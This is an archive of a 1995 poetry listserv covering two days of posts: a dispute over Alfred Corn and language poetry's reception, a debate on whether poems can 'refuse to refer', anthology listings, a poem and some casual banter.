take any of them. Emilio. Rob. Tom. Ally. Demi. Andrew. Judd. And you can throw in Molly Ringwald and Charlie Sheen just to be thorough. On gut instinct alone I'm saying that at least one of them will die in an auto crash in the next 6 years.

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928. **Aldon L. Nielsen**
Re: Typoo
Mon 28 Aug 1995

thought that was an unpublished Melville novel!

Want to make one correction to Luigi's list from the Sun & Moon anthology --

I have never been published in _Avec_ -- In fact, having been unceremoniously rejected on numerous occasions, I gave up -- My poem in the anthology appeare in :that:, and god bless steve ellis for being open to unknown poets!

Yes, many of the usual suspects in the anthology, but, as one of the nominators for that year's bunch, I made a point of suggesting poems from more nearly micro presses -- I suppose it's in the nature of an awards anthology that many already-known poets will appear -- but this book at least makes an effort to go beyond the well-established -- several of the poets on Ron Silliman's list of people who might have been in another anthology representing itself as representing something appear here --

(and by the way, thanks _very_ much to whoever it was who noominated my poem)

one hopes the anthology will become more expansive with each year --

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929. **Aldon L. Nielsen**
Re: Susan's experiment
Mon 28 Aug 1995

experiment design is everything -- there's nothing wrong at all with your desire to get more discussion going among the varied groupings of poets & critics, but such experiments must begin in good faith on all sides -- In this instance, Corn began by insulting everybody and then announced his refusal to do even the most rudimentary job of reading the posts on this list prior to characterizing their tenor and the intellects of those who write them.

Imagine the following --

I have someone forward a post to CAP-L: in this post I announce my genuine desire to engage in thoughtful colloquiy: I announce in another post that I once read part of a book by Helen Vendler, but I couldn't get anything out of it. I once looked at an issue of _New Formalist_, but it made no sense, seemed too self-promoting, party-line, etc. I ask CAP-L folk to suggest a "good" formalist poet and furhter ask that the criteria determining this "goodness" be laid out for me so that I might judge them without actually having to plow through several volumes of published criticism on the subject. And, I declare that I simply haven't time to subscribe to CAP-L or to engage its members in discussion on common ground -- etc.

Well now, what do you think would be the image people might form of my willingness to discuss the issues in good faith?

("colloquy") hell, I'll be back on my onw, correctable machine tonight.

Further, suppose that one of the CAP-L folk takes me at my word & offers a reading list -- following that I wonder "outloud" in my still forwarded posts whether that individual is the only one on the list-serv who doesn't hew to the party line (which I somehow know all about without having read anything by any of the participants) --

In my profession we have a name for people who ask others to do all their homework for them --

Now, there are plenty of real dialogues going on about these issues all the time, even at such staid venues as the MLA -- When I present a paper somewhere, there is often a critical respondent on the panel whose task is to test mt arguments and my evidence -- we engage in creative debate -- we don't ask intemediaries to carry our slighting remarks into the next room to be read to an audience we clearly disapprove --

anyway -- here's an open invitaion to any and all who wish to debate aesthetics to backchannel me or to meet at high noon in the glare of the list servs of America -- but we talk face to face, no?

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930. **Gwyn McVay**
Re: Children of the Corn
Mon 28 Aug 1995

I thought it was Miller, too, but that seemed too simple. Chris S.--No, I'm not on CAP-L, hadn't even heard of it until I subscribed here. I am on CREWRT-L, which is directed more at academia/teachers/students and thus may have a bit

of overlap with them--who knows. Do I get to list the listservs I subscribe to under "Professional Affiliations" on my CV?? And who says fantasies are necessarily puerile? I read that in Miller's book more as her reading of the work's genesis rather than its existing construction, if you can say there's a difference.

Gwyn

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931. **Gwyn McVay**
Re: poetry and music
Mon 28 Aug 1995

Jorge, the "Yellow Rose of Texas," I find, really works best on "Because I could not stop for Death" and "A narrow Fellow in the Grass," giving both a mien of cheery, robust horror.

Gwyn

↑ Index

932. **David Kellogg**
Re: place genre heading here and behead
Mon 28 Aug 1995

On Sun, 27 Aug 1995, Patrick Phillips wrote:

> *next thing you know, Wyatt Prunty will be president*
> *Gingrich's press secretary.*

Wouldn't be a bit surprised.

Cheers,
David
~~~
~~~

933. **Marjorie Perloff**

Re: MisunderstandingsPOETICS Digest5

Mon 28 Aug 1995

I want to clarify a few points because I can see from Susan Schultz's posting and some of the others that one thing I said was sort of misunderstood--my fault no doubt for writing at white heat at midnight as is my wont.

Anyway: I wasn't trying to set up a "them" versus "us" situation and Susan, you know, I don't think there's only one "good" group of poets and so on. I too love Stevens and I admire Merrill's work very much. That was not the issue. What bothered me--and I've since written this to Alfred who wrote me--is that I felt Alred was being condescending and making the case that, hey, we're actually quite similar, aren't we and besides Rimbaud has already done it so what's so new, and therefore , I felt, co-opting the group a bit in ways I found troublesome. And so I wanted first to remind the people in this group that Charles Bernstein founded it and that far from "language poetry" being where it's at, so far as the larger public goes (and at Buffalo I noticed students especially seem to think this way--which is natural since they're there), that it has been a tremendous uphill battle for the more radical poetries as no one knows better than Ron S.

So just a few facts for the younger people who may not remember all this: 1) In 1978 or so when Bruce and Charles were first editing L=A=N=G=U=A=G=E, poets like Alfred and Sandy, John Hollander, Richard Howard, Charles Wright, and in fact most of the "respected" poets, male or female--Cynthia Mcdonald, Adrienne Rich, Denise Levertov (who hates L poetry), said loud and clear and in print that language poetry was a scam, a fraud, worthless, and so forth. At the Alabama Poetry Conference (see Hank lazer, WHAT IS A POET?), Denise L said to Charles Bernstein, who was invited, on my suggestion, only because John Ashbery couldn't come, "Your poetry is no good because it doesn't move people." I asked her, "How do you KNOW it doesn't move people?" No real answer but at that conference Louis Simpson, Gerald Stern, Denise etc. virtually trashed Charles.

2) This was par for the course. In 1985, when I was offered a job at Stanford, Denise tried to sabotage my appointment by writing a memo distributed to every member of the dept, saying that although I was a "very nice lady," she recommended not hiring me because I was too fond of Zukofsky and "would turn the students into little Gertrude Steinlets." She then spent two pages excorciating "language poetry" and said she had met some of these people in San Francisco and that they were without any talent.

3) Now it's not just a question of did or will Lyn win a Guggenheim. The question is, today, in 1995 are things better? Yes and no. No, so far as

Stanford, which just hired Eavan Boland (to my way of thinking a wholly negligible late confessional poet with some Irish patina), is concerned. Michael Palmer and Lyn couldn't even make the short list. And it's no better at Berkeley where, when I recommended Charles and Ron and BOb Perelman a few years back when they had a poetry job, I was told, no one has ever heard of these people and to forget it.

4) Only in the last few years--about 3, I'd say--has the tide turned somewhat. The Buffalo program has gotten a lot of attention. Individual "l poets (some of them like Susan Howe not really l poets anyway) have gotten the attention they deserve. Some have actually gotten academic jobs, although these jobs have little to do with their poetry. Most of the people at Penn didn't even know Bob P wrote poetry! He got tenure strictly on his critical work, believe me. But, yes, in the last few years the "establishment" has finally realized that there are other poets besides Philip Levine and Amy Clampitt. It's still very partial: I was asked to be a poetry consultant for a NEH series called "Poetry for the 21 century." The person doing it keeps sending me lists and I keep telling her I hate them, but the whole ethos is like Bill Moyer's and is all about "how can poetry matter at a time of crisis?"--that sort of rhetoric and the poets to be featured don't include a single poet on this list or known particularly to those on this list. It's Maxine Kumin, Rita Dove, W. S. Merwin, Edward Hirsch, et. al.

But things ARE a little bit better. And I take Alfred's interest as a sign of this. What I took his posting to mean was that perhaps it was time to at least deign to address members of this group since it was becoming clear that language poetry wasn't just an aberration that was going away but that some of its principles and principals were here to stay.

What bothered me is that the response to this less than cordial foray was what seemed like joy--hi, there, Alfred, join the party. And that seems like a certain cooption to me. Because if Alfred Corn is genuinely interested in, say, Lyn's MY LIFE, or in the work published in SULFUR or AERIAL or whatever, let him put his money where his mouth is and invite some of the language poets to read at Columbia or at the New York Y and so on. And once that has happened, once the anthologies really do blur (let's remember that Helen Vendler's Harvard Book doesn't even admit Creeley!), then when can all be very hospitable and say we like poetry of all kinds and isn't it nice how varied American poetry really is.

I hope this makes sense, Susan and Wystan and others who raised what are very real issues.

Marjorie

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934. **Lindz Williamson**
Brat pack
Mon 28 Aug 1995

On Mon, 28 Aug 1995, Kenneth Goldsmith wrote:

> *take any of them. Emilio. Rob. Tom. Ally. Demi. Andrew. Judd. And you can throw in Molly Ringwald and Charlie Sheen just to be thorough. On gut instinct alone I'm saying that at least one of them will die in an auto crash in the next 6 years.*

I'm sorry I don't how this fits in, do we do Hollywood gossip now?

Emilio- accused of being an abusive husband and responsible for Ex- Wife Paula Abdula's bulemia, currently filming Mighty Ducks III

Rob-Video pervert, caught on tape with a minor, best roll he's had lately

Tom- trying to be a respected actor and father of two adoptive children

Ally- in detox

Demi- Vanity Fair playmate of the month, Haper Lee fan and starring in The Scarlet Letter.

Andrew- Washed up, hasn't done anything interesting since Pretty In PInk

Judd- party animal, recently spotted at LUV-A-FAIR (a VAncouver nigthclub) buying drinks and drugs for everyone.

Molly- In Europe, tryign to escape the type casting of John HUghes

Charlie- soon to be married if he can escape the Heidi (can't spell her last name) Flice trial.

Now fill me in why they're all going to die in car crashes.

Lindz, fan of trash TV.

Ps BEt ya that the Cap-L's don't cover the important stuff like this.

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935. **Jorge Guitart**
Re: poetry and music
Mon 28 Aug 1995

Thank you, Gwyn. I was just trying it with "There is certain slant of light/in Winter afternoons/that oppresses like the heft/of cathedral tunes..." and you are right on target about the qualities of the horror.

On Mon, 28 Aug 1995, Gwyn McVay wrote:

> *Jorge, the "Yellow Rose of Texas," I find, really works best on "Because I could not stop for Death" and "A narrow Fellow in the Grass," giving both a mien of cheery, robust horror.*
>
> *Gwyn*

↑ Index

936. **Jonathan Brannen**
Re: Children of the Corn
Mon 28 Aug 1995

What's the CAP-L list?

jb

↑ Index

937. **Louis Cabri**
Riff Barkers Frig Intention's Loam
Mon 28 Aug 1995

Steep
commiseration & brinkfall!
Let the Brinks man visit the next bank
job too late
Disclose indifference
& - coin - the coin
Alarms themselves are the fires we
are a jig
Rigged
transparently romantic
Materialist?
then think your wall
Thought building
class
Class
breaks you're history
History - your
move ear closer
Composition as
film production maybe
Of "of"
intention as
"Ideology

& in other staples
Corn etc"
to the wall
Outside on
its sides
In
sides'
Stomach a natural
pump romantically

Make, fool
yourself not for reason, but a reason
Ladders in every ironed crease
a grim pill's waterway
Wastes
slithers folds
Solvency's
expenses
"Demurs the bank
loan
Me an intention
riffs exculpatorily"
Imperatives
impair!

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938. **Louis Cabri**
Chris Scheil
Mon 28 Aug 1995

I love your situationism. "We" - if you allow me to use this just once & tactically for a mo' - might be limiting ourselves & the issue, as Ron Silliman seems to suggest that "we" are (& here the "we" would embrace some of the rengaists too, & even Ron's one line on the matter) when Corn is dealt with as poetic corn or at least concern. In fact in many ways I agree with him, for when the differences between CAP-L and this listserv are plain why complicate them, in a response to for example a post from a CAP-L member (Corn), with a poetic form of ornamentation, thus trivializing the differences and possibly even obfuscating ("limiting" in that sense) them? Until your post came along!

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939. **beard**
Re: Children of the Corn
Mon 28 Aug 1995

Ron Silliman writes:

> *That's what always has bedeviled me about the poetry in, say, The Nation, an ostensibly left journal that has (ever since Levertov left as poetry editor 30 years ago just as her own work was veering to the right) continually focused on a poetics of the most conservative assumptions. How those assumptions do NOT fit into a larger framework of conservativism/patriarchy I just don't get. It's what I've generally thought of as the "Marilyn Hacker Problem" (probably because she does it well, so it deserves to be looked at critically in her work) of writing unquestioningly in forms that institutionalize a world in which her gender and sexual orientation have historically (and not accidentally) oppressed and suppressed.*

I'm wondering about the word "unquestioningly" here.

Steve Carll writes:

>It's always seemed to
>me that Hacker's "sonnet novel" *Love, Death, and the Changing of the
>Seasons* was precisely a serious questioning and even deconstruction of the
>historical assumptions of that form from the perspective afforded by her
>gender and sexual orientation.
...
>I'd love to hear you (or anyone else, for that matter) expand on this,
>actually. Can any form be "retrieved"?
...
>Can this
>be done from *within* the culture in which the form operates, or can we,
>even while creating, not get far enough outside our cultural assumptions
>(and if we can't, then does it matter what forms we work in?)

Another example of a woman poet (re)claiming the sonnet sequence is Michele Leggott's _Blue Irises_, in DIA. This is an explicit attempt to wrest the form away from the traditional formulation of male lover/female beloved towards an expression/exploration of "feminine" sensuality in the broadest sense, and a higly successful attempt it is too. I use the word "feminine" advisedly (knowing the loaded connotations of the word) since "female" doesn't quite cover the field - it is a "femininity" with which I can readily identify.

I think that if one is aware of the cultural assumptions behind a form, then one can quite happily exploit/subvert/play with those assumptions, but it's the assumptions of which one is unaware that are dangerous. But need the values

of the society that creates a form necessarily "contaminate" that form? Does writing in the tradition of Pound make one a fascist?

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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940. **jms**
Rejected posting to [redacted]
Mon 28 Aug 1995

This keeps getting rejected. I think it should go through this time. Although it seems a bit out of date now.

Forgive all the <.

> *Jordon asks:*
>
> *Juliana Spahr where are you?*
>
> *I've been lost mainly over the last two years in*
> *an all encomposing job search that has hurt all aspects*
> *of my life. I remember*
> *wanting to continue to discuss with Ron generational*
> *issues what now seems like a long time ago but being*
> *unable to do that since I spent every free moment*
> *writing job letters. My advice: never look for a job.*
>
> *But I am finding the Alfred Corn discussion most*
> *interesting now. I actually am glad that he posts*
> *from afar as an intruder. When I was working on*
> *getting a graduate student union there used to be*
> *this continued discussion about whether people who*
> *haven't done any work, who have just shown up at*
> *a meeting, should be allowed to participate or*
> *not. I would reply similarly to complaints about Corn's*
> *posts: it isn't that these people have a right to be involved in*
> *the conversation but rather that we need their input*
> *because they might say things that might not otherwise*
> *be obvious or noticed. While I'm not pleased or actually*

glad or feel that Corn has blessed this list with his presence there are things that I've learned from Corn: language poetry remains threatening and poets can, unfortunately, flaunt their lack of knowledge of one of the major poetic movements from the seventies onward without shame (while I've only met a few alternative type poets who have read only alternative type poetry it seems to be almost de rigeur to flaunt one's lack of knowledge about alternative type poetry in certain, mainstream?, circles--I've experience this first hand many times, once in another conversation with Corn). Other thing that has tantalized me: the way both sides claim Ashbery (which tells us something wonderful about his work).

As to Marjorie's:

And as a new generation of students arrives on the scene, I've learned that they have no problems with the "meanings," in, say, Lyn's OXOTA, which my theory class at Stanford read last year and loved. There were a number of Russians in the class and they were especially pleased by their "shock of recognition." Their finding the persons and places they know well in this book.

I just got done teaching at what was basically a glorified composition program at Bard College. For this class I was given an anthology that had poets like Jorie Graham ("Framing") and Ted Weiss ("Fractions") and Lyn Hejinian (My Life, two sections from it) and Charles Bernstein ("A Defence of Poetry"). I tried for the first time to teach without dogma, to teach, in other words, all of these poets (they made me teach Weiss but that is another story). After I was done I asked students to answer a series of questions about how they related to each poem. Questions were: 1) do you take anything away from this poem? if so what, if not why not? 2) what images, devices, or other parts of the poem stick out in your mind? 3) are there any parts of the poem that you identify with or feel a special relation to? All but one of the students didn't like the Weiss (this might be because Weiss also came to read and I think the student that liked the poem skipped the reading). When it comes to what the students liked it seemed to be tied between the other three (even though I didn't ask them almost all of them ranked the poets). I found also that the students had "no problems with the 'meaning'" or with the nonconventional language. Some of their comments were useful (and I did not encourage them to value the work of one poet over another): On Hejinian: "I like the writing style of My Life. I identified with the style of writing, picking out memories, making correlations about your life, but keeping it loose and not super-analytical." On Bernstein: "The poem made me realize how difficult I make things for myself. I read it two times before I could allow myself to just let it be nonsense." "Bernstein makes sense--

many times I'll read into a work too much and it'll turn to mush and get more confusing than it should be." "I relate to this poem because I feel the poet's frustration in a way." "Bernstein's poem I was excited about. Especially when we did that translation. That seemed to stick with me. Also it was so true how by not really studying closely you could decipher what he had written. I liked that."

What I am now wondering: have other people asked similar questions? what have been the results? But also I am also wondering how much of this has to do with the teaching method used at Bard in this program which is something that might be close to Peter Elbow's ideology. Like one of the reason I think My Life might have been available to them as a text was that one of their assignments was to imitate it (write something that is 18 sentences long and without narrative connection). Several of these pieces turned out to be the ones that the student like the best (they would read them at group readings or put them in their portfolios). I'm not sure it is totally the teaching method (I've taught similar works in more traditional classrooms and had some success with them). But it just made me begin to think about what new teaching methods might be required to teach this work.

Sorry to go on at such length about something that might be of little interest. I am curious about this reading and identification issue because it seems to haunt so many of the dismissals of alternative type poetry (and poetry seems to have something to do with identity and identification as the relentless autobiographical impulse of confessional poetry illustrates). Yet, at the same time, I feel that the dismissal of alternative type poetry on the argument that such works don't allow identification is without evidence.

As is obvious, I'm dying to do some real ethnographic work on this issue. Maybe when I get a job...

Juliana Spahr

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941. **Rae Armantrout**
Re: Rejected posting to [redacted]
Mon 28 Aug 1995

Juliana,

What was the name of that anthology you used? Who published it? I'd like to see it.

Rae

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942. **maria damon**
it's unsub time
Mon 28 Aug 1995

---

okay, now that i've weathered the corn-stalking episode, the time has come to say arivederci. i gotta unsubscribe cuz this is taking up all my time and i'll reappear maybe after sept 10 w/ a diff. address. love u all madly, md

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943. **Michael Boughn**
To reefer or not to
Mon 28 Aug 1995

> *Are there people*
> *here who would take this refusal to refer as a principle of their writing?*

Dear Tom Beard:

What does "refer" mean here? Are you proposing some unmediated instrumentality? You don't have to be an l-person to find that idea suspect. What is the address here anyway?

Best,
Mike
[redacted]

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944. **beard**
LangPo & the refusal to refer
Mon 28 Aug 1995

Some recent posts discussed whether or not "a refusal to refer" (or words to that effect) was a defining characteristic of Language Poetry. Are there people here who would take this refusal as a principle of their writing? And is writing

that refuses reference necessarily more interesting to you than, for example, writing that acknowledges and takes advantage of the fallibility of reference while still "attempting" to refer to the "world"?

I'm asking this in the spirit of curiosity, and not with any "Corn"y animosity. My practice is closer to the latter of the above two poetics: while I recognise and delight in the ambiguities, allusions and delusions of language, I feel language is more interesting when it refers to something outside of itself, despite (or rather because of) the difficulties that this raises.

We evolved (with) language because it improves our evolutionary fitness - it helps us survive and breed. To do this it _has_ to refer to the objective world, in order for us to modify/avoid/eat it.

When language refers to or otherwise evokes human concerns while being aware of itself, I find it more interesting than when it restricts itself to one of these qualities. Where do people on this list stand on this issue? Reference, self-reference or both of the above? And if language poetry is not defined by a refusal to refer (and several counterexamples of "language poets" whose work _does_ refer have been given recently), then what _are_ peoples definitions?

I hope I don't sound like a rabid taxonomist - it's just that LP is a term that gets bandied about, and it would be interesting to hear what people think when they see this term.

Best wishes,

Tom Beard.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://metcon.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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945. **Jeffrey Timmons**

Re: Corn talk

Mon 28 Aug 1995

Having been away for some time and just recently returned I am somewhat surprised at the "tone" of some this "corn talk". . . . I realize he must have stepped on some toes, but I'd like to think that what ever he said he did say it in some spirit of exchange. I guess I object to some of the responses and their needlessly cruel tone. Poetry is not just stylistic, but ideological, yes, but does it have to be so darn mean?

Jeffrey Timmons

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946. **maria damon**
must be kismet
Mon 28 Aug 1995

---

okay, this is the third take on unsubbing. i can't seem to get it right --or maybe, something's got a holda me and i can't let go, o, o, o, maybe this is my fate, to be tied to cyberpoetics irrevocably hurtling thru space w/ a renga round my throat...cool melody ropes/ entwine my neck...md

↑ Index

947. **Edward Foster**
Re: furnished, remember?/no renga
Mon 28 Aug 1995

---

marisa: just got back from motorcycling in the rockies with side-trip (BIG MISTAKE) to Salt Lake City, now here's yr post reminding that this is where yr going and wish to help. Will send books, consolation, the place is infested w/ FAMILIES!

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948. **Jeffrey Timmons**
Re: Rejected posting to [redacted]
Mon 28 Aug 1995

I found Julianna's comments very interesting--particularly (and I don't want to beat any dead animals here) as they related to "outsiders" intruding into the POETICS listserv. I think it is good--even if the interlocutor (sp) was not up to snuff for some folks--that we attempt to engage those that do not share our ideology. I think we lose twice when we first reject those that do not share our views and then vent on them. I only skimmed the whole exchange so forgive me if I'm not seeing this thing clearly enough. Also, her comments about teaching "alternative" poetry were great. It is worthwhile, I believe, to discuss the success or failures of such classroom (or other) experiences with other than "mainsteam" poetries (and we all know it when we see it. I guess one question might be, is identification necessary for the aesthetic experience? I mean, is identification with poetry taught as a way to engage with it? I am curious as to why such a mode of response seems so prevalent. I'd like to see more discussion of such work with poetry.

Jeffrey Timmons

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949. **Robert Drake**
Re: Typoo
Mon 28 Aug 1995

---

aaarrrrrrrrrrrggggguh...

first, sincere & abject apologies for the word-processing (& lack of proofreading) error that resulted in the scrambled attributions in the _stein awards..._ listing. i'll post a corrected (tho probably still imperfect listing) after this...

i hope that my error doesn't keep folks from responding
to my question, tho, of whether or no (or in what ways) there
is a langpo orthodoxy, and if so, how that "tradition" is
compatable with an program that sets out to challange
received traditions... as further data, i'm recalling various
references in recent posts where folks 'fess up to liking
various poets (frm stevens on down...) but being hesitant to
admit, lest they show their un-hipness. if it intimidates like a
cannon, it just might _be_ a canon (tho certainly there are
bigger guns...)

its kind of the contradition of any "avant guard movement", eh? th attempt to construct a space (social space? community?) that challenges the normative values, w/out imposing its own norms on itself... th 13yr old daughter (fan of Hole, amongst other female rock bands) was just explaining to me why she hates the term "alternative" music, how coopted it is... being a parental unit, of course, i just wouldn't understand...

lbd

6ix:.....abigal child
abacus:.....liz waldner
arshile:.....gilbert sorrentino
robert creeley
avec:.....charles bernstein
david bromige
karen mac cormack
kit robinson
mary angeline
michael davidson
peter ganick
phillip foss
rae armantrout

steve mccaffery
william fuller
big allis:.....catriona strang
conjunctions:.....forrest gander
myung mi kim
exquisite corpse:.....will alexander
grand street:.....lyn hejinian
martine bellen
mei-mei berssenbrugge
robert fitterman
green z:.....jeff vetock
pam rehm
hundred flowers:.....janet gray
lingo:.....albert mobilio
charles north
craig watson
kenward elmslie
peter gizzi
tan lin
long news...:.....barbara guest
aaron shurin
lower limit speech:.....brett evans
buck downs
drew gardner
joe ross
kim rosenfield
susan smith nash
lyric&:.....elizabeth robinson
george albon
mirage:.....juliana spahr
o-blek:.....cole swensen
daniel davidson
deanna ferguson
elizabeth willis
jeff derksen
jennifer moxley
jessica grim
john mcnally
mark wallace
roberto tejada
rod smith
susan m. schultz

o.ars:.....andrew levy
bruce andrews
stephen ratcliffe
object:.....joan retallack
poetry project:.....nathaniel mackey
raddle moon:.....finoa templeton
jean day
kathryn macleod
lisa robertson
peter inman
re*map:.....paul vangelisti
ribot:.....martha ronk
norma cole
rober corsson
situation:.....bill tuttle
elizabeth burns
jeff conant
sheila murphy
sulfur:.....michael palmer
rachel blau duplessis
talisman:.....john perlman
laynie browne
michael leddy
texture:.....clark coolidge
that:.....a.l. nielsen
to:.....dennis phillips
larry eigner
nathaniel tarn
ray dipalma
tom mandel
washington review:.....darin de stefano
witz:.....nick piombino
the world:.....douglas messerli
elaine equi
kimberly lyons
lydia davis
marjorie welish

luigi

↑ Index

950. **Pierre Joris**
Re: new & forthcoming
Mon 28 Aug 1995

Issa -- first, thanks for the kind words on _Breathturn_. & yes, more volumes are forthcoming: the plan right now is to publish _Threadsuns_ next year & _Lightduress_ a year later. Pierre

==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted]| --J.H. Prynne
==========

↑ Index

951. **Steve Carll**
Old Hats, New Heads?
Tue 29 Aug 1995

> *If you want to take issue with Corn's notion that "unfamiliar methods of communication" are actually old hat because the French Symbolists used them--and I do want to take issue with that notion--you could point out that the hallowed Emily Dickinson used grammatical and syntactic ambiguity, ellipsis, obliquity--as one critic pointed out, "unrecoverable deletion." (The source is _Emily Dickinson: A Poet's Grammar_; I'm spacing on the critic's name right now.) Or see Howe on E.D., who may have been a little more subversive than some of her staunch defenders give her credit for.*
>
> *Gwyn*

So if even ED was using them, wouldn't it still mean they're old hat?

A little more seriously, I think it's the fact that we become (or seem to become through various cultural methods of coopting what is unfamiliar, Cf. Emily's canonization despite the fact most of us still don't quite have a handle on what she's talking about!) familiar with the unfamiliar methods of communication, and then someone needs to come up with a new tactic for defamiliarizing us that makes us realize--language is bigger than we are (or our poems smarter; whatever).

Steve

↑ Index

952. **Steve Carll**
(no subject)
Tue 29 Aug 1995

Kenny:

Don't change the subject!

Steve

↑ Index

953. **Chris Stroffolino**
Re: poetry and music
Tue 29 Aug 1995

> GWYN and JORGE---Dylan's "Gates Of Eden" (did I say this b4?) ALMOST works as a setting for Dickinson too---
> ---cs.

↑ Index

954. **Lindz Williamson**
Help..
Tue 29 Aug 1995

I copied this, but I can't remember who posted it.

"When language refers to or otherwise evokes human concerns while being aware of itself, I find it more interesting than when it restricts itself to one of these qualities. "

i agree with this because it makes the language responsible and introspective upon itself. I'm having trouble with understanding these LAnguage poets and I think this is the main cause. I still see poetry as a form of communication as that is the primary use of language. POetry although not directly conversive still does perform this task, why eles do we feel the need to write poems in response to other poems. Or even why do we renga? Word play, concrete images, and phonetics are experiments within the realm, but communication is the goal. If not then why bother showing it to anyone else. If its not going to invoke emotion or atleast a reaction then I don't understand the purpose.

Lindz

↑ Index

955. **Aldon L. Nielsen**
Re: Alan Golding's Lost Mail
Tue 29 Aug 1995

Alan -- I sent you a virus, but it seems you've escaped my perverse designs once more. Coises, foiled again.

↑ Index

956. **Chris Stroffolino**
Re: MisunderstandingsPOETICS Digest5
Tue 29 Aug 1995

Marjorie--thanks for the post---Okay Rod (etc.), I relent--Marjorie in this case is right.....cs

↑ Index

957. **Aldon L. Nielsen**
Re: ref ref
Tue 29 Aug 1995

How would a writer go about refusing to refer, and in what language could such a refusal ever be accomplished?

No, what I think happened back there (and I'm old enough to remember) was a critique of a correspondence theory of truth and a radical questioning of representation -- another kettle of fish entirely --

Charles Dickens rewrites Wittgenstein:

The world is all. _That_ is the case.

↑ Index

958. **Susan Schultz**
Re: MisunderstandingsPOETICS Digest5
Tue 29 Aug 1995

Thanks, Marjorie, for putting everything in perspective as only one who's been in the trenches of the avant-garde (sorry, that became intentional only halfway through) can do. I see why lines got drawn so strongly, at least on "our" side, if not on that of the Establishment. But what makes me pause at this moment in history is that I see, in my very few experiences of "mainstream" poets, a kind of envy toward the Language group (to say nothing of so-called multicultural poets, who include anyone not white, so far as I can see). When Charles B was in Hawaii, he got attacked for being a successful academic, which was rather ironic since he'd only had the Buffalo job for about three

years when he came here--and he was being attacked by other successful academics, though they obviously didn't think so. It's rather like the way poets on our faculty used to dismiss local writers as "inferior" and now try to argue against them on the grounds that they publish themselves in BAMBOO RIDGE, a wonderful journal that was founded in part because these writers couldn't get into other journals--or didn't want to. So we've now hired a "distinguished visiting writer" FROM Honolulu, after the creative writing faculty spent hours wondering whether to take the "distinguished" part off the title. Such progress.

At any rate, I still hope for some cross-listed dialogues at some point. And I think that the current balance of power (or lack thereof) between old and new establishments may help. May.

Susan

↑ Index

959. **Ryan Knighton**

Re: To reefer or not to

Tue 29 Aug 1995

I was talking with George Stanley about this the other night. According to him, the notion of words refusing to refer is impossible, unless they are not words, I suppose. Maybe we mean mean.

Michael B. wrote:

> *Are there people*
> *here who would take this refusal to refer as a principle of their writing?*
>
> *Dear Tom Beard:*
>
> *What does "refer" mean here? Are you proposing some unmediated instrumentality? You don't have to be an l-person to find that idea suspect. What is the address here anyway?*
>
> *Best,*
> *Mike*
> [redacted]

↑ Index

960. **George Bowering**
Re: communication
Tue 29 Aug 1995

Lindz, communication is probably going to happen. When you get into trouble is when you think of communication AT THE TIME of composition, if you have something you want to tell some other person. That is when you will screw the p[oem. You dont have to emp[loy Spicer's trope of the radio/poet, but it would be a good idea while composing to be all ears rather than aware of using the words to convey something to someone.

↑ Index

961. **Ron Silliman**
Re: music and poetry
Tue 29 Aug 1995

>When I listen to tapes of the Four Horsemen or Kenward Elmslie, I do not
>attempt to categorize them out of music and into poetry or out of poetry
>and into music.
>
>Gale Nelson
>
Well, Kenward Elmslie will always be a category of himself.

↑ Index

962. **Ron Silliman**
From the CAP-L list
Tue 29 Aug 1995

I thought I would repost this message from the CAP-L list, where they have been discussing "can poetry occur in T-shirts, rock songs, etc." with some of the same oblique anxieties about the Moyers phenomenon as we (I) have expressed here. The question of slams is interesting to me in that it is as far removed, I think, from the Poetics list as a characteristic genre of poetry as it is from CAP-L.

While I'm here, I do want to say that I've been startled by the anger (M Boughn, say) that has been expressed at Corn's attempt to articulate his position, say. I always try to treat the list from a netiquette standpoint much as I would a cocktail party in which everyone will be able to remember what you said tomorrow (because they can look it up in the archives!). Personally, I appreciate

his attempts, regardless of their tone or his unwillingness to join a list that sends 50 messages a day....

Ron Silliman
[redacted]

Subject: Poetry Slams

The discussion about t-shirts, etc. makes me wonder (since I am fairly new to
this list) if the whole poetry slam phenomenon, and its implications (if any)
for more traditional (?) kinds of poetry, has been debated here. If it's all
been hashed out ad nauseam, apologies; but if not, I'd be interested to hear
what people think.

For my part, I'm pleased to see poetry on subways, buses, posters, t-shirts,
and any place else it will fit.

John Landrigan

↑ Index

963. **Ron Silliman**
CAP-L/refusing to refer
Tue 29 Aug 1995

You wrote:
>
>What's the CAP-L list?
>
Contemporary American Poetry Listserv (a discussion group like this, only with far fewer posts and more conservative poets involved. Alfred Corn is the most visible poster there.)

Also, forgot to mention in that refusal to refer post response to Tom Beard above that what I do think was/is happening is that reference is being considered as an active variable in the poem, that can be modified and directed to a lot of different places. Quite a distinction from mere refusal.

Ron Silliman

↑ Index

964. **Ron Silliman**

Repost, re post

Tue 29 Aug 1995

There's a post below, believe me. I decided to leave all this weird header stuff in. I've posted 5 little missives to POETICS this AM (it's 6:05 right now), using the reply button each time. Three got through and two did not. I have no idea why, Loss. This bounceback arrived from New Zealand, so it appears the internet is taking the long way to Buffalo.

Hmmm,
Ron

---- Begin Forwarded Message
(8.6.12/SMI-4.1/Netcom)
id CAA22333; Tue, 29 Aug 1995 02:33:56 -0700
Date: Tue, 29 Aug 1995 09:36:04 EDT
From: Local delivery agent <[redacted]>
To: <[redacted]>
Subject: LOCAL delivery error

Note: this message was generated automatically.

An error was detected while processing the enclosed message. A list of the affected recipients follows. This list is in a special format that allows software like LISTSERV to automatically take action on incorrect addresses; you can safely ignore the numeric codes.

--> Error description:
Error-For: "[redacted]"@metdp1.met.co.nz
Error-Code: 2
Error-Text: Error in delivery to user [redacted]
%MAIL-E-USERSPEC, invalid user specification
'@UBVM.CC.BUFFALO.EDU'

Error-End: 1 error detected

---------- Rejected message

SMTP; Tue, 29 Aug 1995 09:35:56 EDT
CAA18331; Tue, 29 Aug 1995 02:33:23 -0700
Date: Tue, 29 Aug 1995 02:33:23 -0700
From: [redacted] (Ron Silliman)
Subject: Pound's forms
To: [redacted]

Tom Beard asks

Does writing in the tradition of Pound make one a fascist?

